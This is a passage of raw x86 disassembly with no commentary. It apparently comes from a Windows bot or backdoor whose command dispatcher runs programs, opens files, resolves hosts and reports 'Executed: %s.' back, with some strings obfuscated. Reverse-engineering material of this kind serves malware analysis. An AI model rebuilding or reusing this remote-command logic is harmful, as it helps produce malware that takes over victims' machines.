		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2820000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		nop
		call	near ptr 2810550h
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_449896
		test	al, al
		jz	short loc_404F30
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
